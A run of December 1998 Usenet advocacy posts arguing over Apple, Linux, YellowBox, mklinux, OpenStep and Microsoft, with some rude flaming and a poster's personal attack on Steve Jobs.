If these are true, then why does Linux *need* any Apple technology at all?
I'm confused, are you trying to save Apple or Linux?
Ziya Oz
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Fri, 25 Dec 1998 08:41:16 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn787g1c.a8u.jedi@dementia.mishnet>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net> <slrn77vu0d.6kl.jedi@dementia.mishnet> <ch3-2312981925010001@1cust90.tnt5.redmond.wa.da.uu.net>
On Wed, 23 Dec 1998 19:25:00 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>> Apple simply has no market to 'give away' any more.
>
>False. Apple has a huge installed base(that dwarfs Linux.) WebObjects
...not any more...
[deletia]
That's the same hubris that got Apple & Mac users in this
mess to begin with. You trivialize everyone else, you try
to 'sweep them under the rug' historically & then wonder
why the rest of the industry tries to do the same to you...
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Fri, 25 Dec 1998 09:37:35 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn787jav.alk.jedi@dementia.mishnet>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <75snh2$b3e$1@reader1.reader.news.ozemail.net> <75uaip$26i$1@52-a-usw.rb1.blv.nwnexus.net> <760a55$4ut$1@reader1.reader.news.ozemail.net>
On Sat, 26 Dec 1998 02:14:42 +1100, Greg Alexander <galexand@ozemail.com.au> wrote:
>Tim Smith wrote:
>>Greg Alexander <galexand@ozemail.com.au> wrote:
>>>2) The filesystem would be harder to use.
>>
>>It doesn't have to be. A/UX didn't present any file system difficulties to
>>the user.
>
>
>I meant that there will be far more files that have no meaning to a Mac user.
>That's a complaint of Windows (unless you're only in the "My Documents" directory).
That's why you restrict the mere mortals to the part of the
disk that they actually have write access to, by default.
Windows in this respect is broken by design. A well populated
(with apps) is also likely problematic from this point of view
as well.
>
>>>For Apple:
>>>1) Have to support and test on several Linuxes (and/or BSDs)
>>
>>They don't have to do that. I think they come out ahead if all they do is
>>pick one Linux (LinuxPPC) and only support that (or an Apple-modified
>>distribution of that).
>
>I was talking about selling an add on for existing linuxes - but I agree that
>Apple could start with 1 Linux bundled on a Mac, use it as a live, on sale,
>technology demonstration and guage attitudes etc - then release it
>for existing Linux on Intel. Maybe that's there plan with the rumored
>Linux-on-a-Mac release at Macworld?
>
>>>I still think the key selling point will be all of TODAY's applications
>>>available. YB would be added, as a way to get YB secretly installed on a lot
>>>of desktops (ignoring licensing issues - they could also bundle it in
>>>Quicktime).
>>
>>I don't see the need for YB or Carbon if they do MacOS on Linux in an
>>A/UX-like manner.
>
>
>You're basically saying BlueBox for Linux. They have to move the applications
>forward to allow PMT etc - which is what Carbon is supposed to do. Also,
>if they intend to be a premier development environment YB has alot to
>offer.
>
>Greg
>
>
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Fri, 25 Dec 1998 09:40:13 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn787jft.alk.jedi@dementia.mishnet>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net>
On Thu, 24 Dec 1998 13:49:45 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>Apple could make money by gaining new customers and developers. There, never
>>again make that stupid-as-my-ass complaint again, Colin.
>
>I think that you've already conceded that Linux developers will not
>accept binary distributions. By that, what you are asking for is an
>OpenSource YellowBox. Now, make the 'stupid-as-your-ass' *business* case.
It worked for Next. Mind you, one doesn't have to give away
the source. One merely has to show a good faith effort to
be creating/complying with open standards.
[deletia]
Next's problem wasn't an open api standard but rather absurd
prices and no previous market penetration to base such
practices upon.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
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References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net>
<ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com>
<ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com>
<ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com>
<ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net>
Message-ID: <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com>
Date: Fri, 25 Dec 1998 17:52:22 GMT
NNTP-Posting-Date: Fri, 25 Dec 1998 09:52:22 PDT
Organization: @Home Network
In <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> c hand wrote:
> >Less attractive than completing "in progress" efforts and bringing the
> >full AppKit/YB to Solaris and HP/UX(which was already done for OpenStep
> >before.) Solaris, like Win*, is in markets that Apple can transition
> >into via their software products. These markets do not compete head-on
> >with Apple's. A YB/Linux would.
>
> Just in case this causes confusion, I'd like to clarify: HP/UX and
> Solaris do not compete head-on with Apple. Win* obviously does.
> HP/UX and Solaris both have major components of YellowBox already
> completed(FoundationKit, EOF, PDO.) Adding AppKit would not add
> competition against Apple's desktop market; instead it would create
> new markets. Linux, OTOH, would likely compete with Apple's desktop
> sales.
>
>
The logic behind this YB/Linux .vs. Mac desktops escapes me. Has Linux gone
mainstream and I missed it? At best, YB/Linux contributes a much needed GUI
with potential for cross platform deployment to other YB target markets.
Only competiton Apple sales could experience would be mainstream
Linux.vs.Mac desktops. Linux with its server reputation doesn't qualify as
mainstream desktop candidate, even with a Mac-a-like GUI and YB API's.
The worst case scenario posited here would be a WIN-WiN for Linux and Apple.
Linux if it went mainstream to the desktop with a Mac GUI would be another
Apple compatible box in the universe. And that is good for Linux users and
good for Apple.
Call it the 10% strategy... 10% x Linux, Solaris, HP-UX, Intel, AIX, etc...
Pretty soon those 10%'s add-up to marketshare again.
-r
From: clee2@envirolink.org (Chris Lee)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: 26 Dec 1998 04:45:05 GMT
Organization: Your Organization
Message-ID: <761pkh$f5a$3@winter.news.rcn.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com> <87lnjxxx50.fsf@altair.mayn.de> <36834ab4$0$9741@nntp1.ba.best.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 26 Dec 1998 04:45:05 GMT
In article <36834ab4$0$9741@nntp1.ba.best.com>, borisspamno@pleasemovil.com
says...
>
>>In the case you don't know, cfront is the reference C++ translator
>>implementation from Bjarne Stroustroup. I doubt if Zortech/Borelame/M$
>>compilers were more up-to-date language-wise than the reference
>>implementation.
>Native C++ compilers were a huge step forward both in compilation speed and
>debugger support.
Is that why Windows 98/NT 4.0 requires a Pent II processor in order to run
software at the same speeds Win 3.11 ran software at on a 486, Boris?
Some improvement. Not.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Sat, 26 Dec 1998 10:28:19 +1100
Organization: OzEmail Ltd.
Message-ID: <76172n$jqj$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net>
c hand wrote in message ...
>Greg Alexander wrote:
>>If Apple _sold_ a GUI for Linux that gave access to Mac programs (including
>>easily installing them!) there are many people who'd buy it.
>
>Linux users? I doubt it.
I don't think paying for the ability to run commercial applications is a big problem.
Moreso would be the problem of giving up the _choice_ of buying it or not.
If _every_ Linux distribution raised their prices and added the MacGUI etc
that would remove control from the open source community.
Fortunately, I think there are a number of reasons that won't happen. I think
Redhat etc would not drop a standard Linux version. I think Open Source
advocates will keep advancing Linux (in fact, assuming the MacGUI sold
well, applications targeted at standard Linux would be able to target the Mac too).
I also think that as YB becomes more prevalent the GNUstep project would
get a lot of resources, and would soon be completed.
>It would be everyday Joe Wannbe-Hacker that
>were unlikely to try Linux beforehand, and were either Windows or
>Mac users(which happens to be Apple's target market with OS X/S.)
There are dissatisfied Windows users who know that Linux & Mac
are alternatives. To keep their own hardware (or to make a no-risk
purchase of new hardware) the Linux-Mac combo would be more
attractive than buying a Mac. They would lose hardware sales there!
>>Apple benefits by selling more software,
>
>How much software does the Linux market *pay for*?
Apart from my previous answer, in some ways that's not the point. If no-one
buys it then how can Apple lose market share. If people do buy it, then
Apple loses a hardware+software sale for a software only sale. They
would be competing against themselves, not against Linux really.
>Then one must ask: Why Linux? Why not BSD? The whole premise of this
>argument is flawed. I just don't see the benefit to Apple at this
>time. Other than the hype and PR value. But that could as easily be
>achieved with OpenMach.
In this case, I don't care about Linux or BSD. I'm talking about using
an open source as a base, and letting the open source used maintain their
own momentum. OpenMach would have to build up a following and still
would have an impression of Apple control.
I do think there are problems for Apple here. If they successful released
an Apple add-on, there will be less profit per-sale than for a Mac, so
it would have to be increasing market share. If YB becomes the main
form of program, GNUstep could take all their sales.
Apple would have to continue to innovate or die as the Open source
APIs and GUI catch up. If Linux gets an open GUI & API that
is as good as the Mac and runs the same programs, could they still
sell their hardware? Quicktime? WebObjects? There would be
some reinvention, but I think they'd still go on.
Greg
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 25 Dec 1998 19:49:29 GMT
Organization: Primenet (602)416-7000
Message-ID: <760q89$kfn$1@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com>
<ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <75upqa$47f$1@nnrp03.primenet.com> <75vd7j$25r$1@nnrp1.dejanews.com> <760kof$dlk$1@nnrp03.primenet.com>
John Jensen <jjens@primenet.com> wrote:
: I think these, and other, tidbits show Linux as a force. So is Apple.
: Time magazine put them both in their year-end technology top ten. I think
: Apple got First and Linux got something like Sixth. The iMac is leading
: Apple on a retail revival, while Linux is booming on a more behind the
: scenes techno level.
One more thought before I trot off for my Christmas dinner:
You got Linux on my iMac!
No, you got iMac on my Linux!
Win-Win,
John
From: warlock@eskimo.com (Jim Richardson)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 25 Dec 1998 23:09:56 GMT
Organization: Eskimo North (206) For-Ever
Message-ID: <slrn787b77.h8.warlock@raven.myth>
References: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net> <slrn782flu.2vn.posterkid@mammoth.psnw.com> <iDcg2.407$G92.5290@typhoon-sf.snfc21.pbi.net> <slrn785b42.dl4.posterkid@mammoth.psnw.com> <7PTg2.12642$G92.10201@typhoon-sf.snfc21.pbi.net>
On Fri, 25 Dec 1998 21:53:07 GMT,
ix@ix.ix <ix@ix.ix> sayeth...:
>On 12/24/98, posterkid wrote:
>>ix@ix.ix <ix@ix.ix> wrote:
>>>Why not just rename the Mach/BSD layer "AppleLinux X" or something and cash
>>>in on the Linux religion, in the same way that NeXTstep was renamed Mac OS X to
>>>cash in on the Mac religion?
>>
>>Because that would be dishonest and not work. The people who truly are
>>Linux zealots would know that it isn't Linux. <shrug>
>
>On a seperate project Apple already replaced the Linux kernal with Mach
>and still called it Linux. If Linux isn't a kernal, what is it? The rest
>varies between so-called Linux distributions(RedHat, Debain, etc), doesn't it?
>
>Steve
Actually, mklinux was/is a modified linux kernal, running on a mach server.
Kinda neat, in that you can run multiple kernels at the same time.
--
Jim Richardson
Anarchist, pagan and proud of it
WWW.eskimo.com/~warlock
Linux, because life's too short for a buggy OS.
From: nospamhattonr@aug.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Fri, 25 Dec 1998 21:36:12 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <1998122521361242196@ts2-05.aug.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <367ff362.0@news.deniz.com> <m24sqkefz1.fsf@barnowl.demon.co.uk>
Graham Murray <graham@barnowl.demon.co.uk> wrote:
> In comp.os.linux.advocacy, "Todd Bandrowsky" <tbandrowsky@del.net> writes:
>
> > Gee, the only thing IBM really needs is a PC operating system and they are
> > an entity onto themselves.
>
> Don't IBM already have a PC operating system? It is called OS/2. It is
> just that IBM seems rather reluctant to market it.
They tried to market OS/2. Very hard. It didnt take for a number of
reasons... some having to do with IBM, and some Microsoft.
Message-ID: <36844F12.835B6FA2@nstar.net>
Date: Fri, 25 Dec 1998 20:50:58 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <761e5d$7kc$1@fir.prod.itd.earthlink.net>
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Ziya Oz wrote:
> If these are true, then why does Linux *need* any Apple technology at all?
>
> I'm confused, are you trying to save Apple or Linux?
Don't be confused. It involves a simple concept called "mutual benefit".
The better part of the benefit goes to Linux users, methinks, but the
greater share of the saving goes to Apple.
MJP
From: Ben Romer <benjamin.romer@unisys.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: openstep on non-intel hardware
Date: Sat, 26 Dec 1998 00:02:24 -0500
Organization: ECDC Unisys Corp. Tredyffrin
Message-ID: <36846DE0.BF6C49D8@unisys.com>
References: <367C5229.9F98E8BD@netscape.net> <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net>
<367d22d9.0@stan.astra.co.uk> <75lppg$5rl$1@unlnews.unl.edu> <367e83f2.0@stan.astra.co.uk>
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mmalcolm crawford wrote:
> In <75lppg$5rl$1@unlnews.unl.edu> "Rex Dieter" wrote:
>
> > I have NEVER heard of ANY problems with AMD CPUs. As a matter of fact,
> I've
> > been personally using a miriad of AMD chips, K5's, K6's, K6-2-3DNow!'s for
> a
> > couple of years.
> >
> > The threading problem was with early (and current?) generations of Cyrix
> > chips.
> >
> Urgh. Yes, you're absolutely right. Mea culpa. I'm not sure why I
> susbstituted AMD for Cyrix, but yesterday was an odd day. The other points
> about availability etc stand.
>
> Best wishes,
>
> mmalc.
Modern Cyrix chips don't seem to have the problem.
I've run OpenStep 4.1 on the Cyrix MII chip, and had no problems. On the 686
series, though, I could never get it to run consistently. Omniweb locked the
system every time.
Ben
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
MIME-Version: 1.0
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References: <ol_f2.207$G92.1825@typhoon-sf.snfc21.pbi.net> <slrn782flu.2vn.posterkid@mammoth.psnw.com>
<iDcg2.407$G92.5290@typhoon-sf.snfc21.pbi.net> <slrn785b42.dl4.posterkid@mammoth.psnw.com>
<7PTg2.12642$G92.10201@typhoon-sf.snfc21.pbi.net>
Message-ID: <sB_g2.285$xq4.305@news.rdc1.ne.home.com>
Date: Sat, 26 Dec 1998 05:36:24 GMT
NNTP-Posting-Date: Fri, 25 Dec 1998 21:36:24 PDT
Organization: @Home Network
In <7PTg2.12642$G92.10201@typhoon-sf.snfc21.pbi.net> ix@ix.ix wrote:
> On a seperate project Apple already replaced the Linux kernal with Mach
> and still called it Linux. If Linux isn't a kernal, what is it? The rest
> varies between so-called Linux distributions(RedHat, Debain, etc), doesn't
it? -
This is incorrect. As I understand it, mklinux used the linux kernel on top
of the mach kernel, so that the os was making demands on the linux kernel,
which the linux kernel then passed to the mach kernel which actually
addressed the hardware. Feel free to correct me if I am wrong, but this is
how I understood mklinux to work.
From: "Boris" <borisspamno@pleasemovil.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com> <87lnjxxx50.fsf@altair.mayn.de> <36834ab4$0$9741@nntp1.ba.best.com> <761pkh$f5a$3@winter.news.rcn.net>
Subject: Re: Really the Best Talent?
Date: Fri, 25 Dec 1998 22:46:30 -0800
Message-ID: <36848870$0$9722@nntp1.ba.best.com>
Chris Lee wrote in message <761pkh$f5a$3@winter.news.rcn.net>...
>In article <36834ab4$0$9741@nntp1.ba.best.com>, borisspamno@pleasemovil.com
>says...
>>
>>>In the case you don't know, cfront is the reference C++ translator
>>>implementation from Bjarne Stroustroup. I doubt if Zortech/Borelame/M$
>>>compilers were more up-to-date language-wise than the reference
>>>implementation.
>>Native C++ compilers were a huge step forward both in compilation speed and
>>debugger support.
>
>Is that why Windows 98/NT 4.0 requires a Pent II processor in order to run
>software at the same speeds Win 3.11 ran software at on a 486, Boris?
>
>Some improvement. Not.
Gee...gee. Another smart asshole. Don't worry herr Mattius, we have our own trash in
computer industry.
Here is perfect sample. Gee...Linux is great, NOT. You are just full of shit like herr
Mattius. I suggest you organize a brotherhood. Gee... Linux!
Boris
From: joel-garry@nospam.home.com (Joel Garry)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <bwyman-2112980659210001@bwyman.tiac.net> <367e4da6.0@uni-wuerzburg.de> <19981221102001209079@ts3-33.aug.com>
Organization: Natural Surrealist Light Peoples Party High Speed Transport Division
Message-ID: <slrn7895go.hg.joel-garry@home.com>
Date: Sat, 26 Dec 1998 07:50:10 GMT
NNTP-Posting-Date: Fri, 25 Dec 1998 23:50:10 PDT
On Mon, 21 Dec 1998 10:20:01 -0500, Rick <nojunkhattonr@aug.com> wrote:
>Matthias Buelow <token@cip.informatik.uni-wuerzburg.de> wrote:
>
>> >Hey, wouldn't it be cool if there was some OS that got rid of a lot of
>> >that space consuming interface in every window? If there were only some
>> >way to get rid of that confounded menu in *every* window and just move it
>> >to the top of the screen or something...
>>
>> That's what Apple has been doing all the time. They have patented it, so
>> M$ couldn't imitate that behaviour.
>
>.. that hasnt stoppe M$ before. Ask Stac.
Didn't Stac win the court case?
>--
>Remove nojunk from my email address to reply by email.
jg
--
These opinions are my own.
http://ourworld.compuserve.com/homepages/joel_garry Remove nospam to reply.
mailto:joel-garry@nospam.home.com Available for Oracle DBA work.
From: Andrew Chen <achen@u.washington.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Sat, 26 Dec 1998 00:57:28 -0800
Organization: University of Washington
Message-ID: <Pine.A41.4.05.9812260042490.55718-100000@dante41.u.washington.edu>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <bwyman-2112980659210001@bwyman.tiac.net> <367e4da6.0@uni-wuerzburg.de> <19981221102001209079@ts3-33.aug.com> <slrn7895go.hg.joel-garry@home.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
NNTP-Posting-User: achen
In-Reply-To: <slrn7895go.hg.joel-garry@home.com>
Yeah, Stac won:
www.base.com/software-patents/articles/stac.html
However, obviously Microsoft still includes a drive compression system in
their OS. I vaguely remember there being a switch from DoubleSpace (I
think this was the program they were sued over) to DriveSpace between
versions of MS-DOS 6.x. My inference is that Microsoft replaced
DoubleSpace with a different system, and so Stac's Stacker was still
obsoleted. Sound right?
Andrew
On Sat, 26 Dec 1998, Joel Garry wrote:
>
> Date: Sat, 26 Dec 1998 07:50:10 GMT
> From: Joel Garry <joel-garry@nospam.home.com>
> Newsgroups: comp.os.linux.advocacy, comp.os.ms-windows.nt.advocacy,
> comp.os.ms-windows.advocacy, comp.sys.next.advocacy,
> comp.sys.mac.advocacy, comp.sys.amiga.advocacy, comp.unix.advocacy
> Subject: Re: Why can't MS ship a browser? Everyone else does.
>
> On Mon, 21 Dec 1998 10:20:01 -0500, Rick <nojunkhattonr@aug.com> wrote:
> >Matthias Buelow <token@cip.informatik.uni-wuerzburg.de> wrote:
> >
> >> >Hey, wouldn't it be cool if there was some OS that got rid of a lot of
> >> >that space consuming interface in every window? If there were only some
> >> >way to get rid of that confounded menu in *every* window and just move it
> >> >to the top of the screen or something...
> >>
> >> That's what Apple has been doing all the time. They have patented it, so
> >> M$ couldn't imitate that behaviour.
> >
> >.. that hasnt stoppe M$ before. Ask Stac.
>
> Didn't Stac win the court case?
>
> >--
> >Remove nojunk from my email address to reply by email.
>
> jg
> --
> These opinions are my own.
> http://ourworld.compuserve.com/homepages/joel_garry Remove nospam to reply.
> mailto:joel-garry@nospam.home.com Available for Oracle DBA work.
>
>
Message-ID: <3684C501.BBED75D@255.255.255.255>
From: DrBoom <Nobody@255.255.255.255>
Organization: Usually lacking
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com> <87lnjxxx50.fsf@altair.mayn.de> <36834ab4$0$9741@nntp1.ba.best.com>
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Date: Sat, 26 Dec 1998 11:11:06 GMT
NNTP-Posting-Date: Sat, 26 Dec 1998 03:11:06 PDT
Boris wrote:
>
> >In the case you don't know, cfront is the reference C++ translator
> >implementation from Bjarne Stroustroup. I doubt if Zortech/Borelame/M$
> >compilers were more up-to-date language-wise than the reference
> >implementation.
> Native C++ compilers were a huge step forward both in compilation speed and debugger
> support.
>
> >
> >Yeah, hopefully. C++ is an abomination.
> Yeah smart ass. You use C, Java, and Lunix. You can use whatever you want, but don't cry
> about unfair competition fucked losers.
Heh. I see it the other way around. M$ is at a big disadvantage in the
back office. They bit off more than they could chew with NT, and now
they are betting the farm on 5.0... which was due out *when*??
Meanwhile, the freenix AND paynix guys still own the server market.
Don't believe me? Go look for yourself. NT is still "Not There". Neither
is M$. They should concentrate on their core expertise: Marketing.
>
> Boris
-j
Message-ID: <3685731F.D9C434AF@nstar.net>
Date: Sat, 26 Dec 1998 17:37:03 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <ngroups-0412980941310001@192.168.100.102> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this> <36803829.96A77B3A@klassy.com> <763q7a$fu4@news1.panix.com>
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Sal Denaro wrote:
> >Recall when Jobs "publicly commited" to the Newton?
>
> Yes, while privately he reassigned Newton members to other projects
> within Apple. That isn't the case now with YB.
>
> YB, OSX and WebObjects are getting more private support in Apple (by
> the ex-NeXT folks that are now running the show) then the newt ever
> saw.
There was a different point in Mr. Fizer's remarks, one which I think
you make quite aptly: Mr. Jobs' comments are not often truthful, and can
rarely be taken as evidence of truth. Put differently, Jobs is a
pathological liar.
MJP
From: "Rich Elberger" <rich@accessone.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Sat, 26 Dec 1998 15:38:40 -0800
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <763s0t$a51$1@remarQ.com>
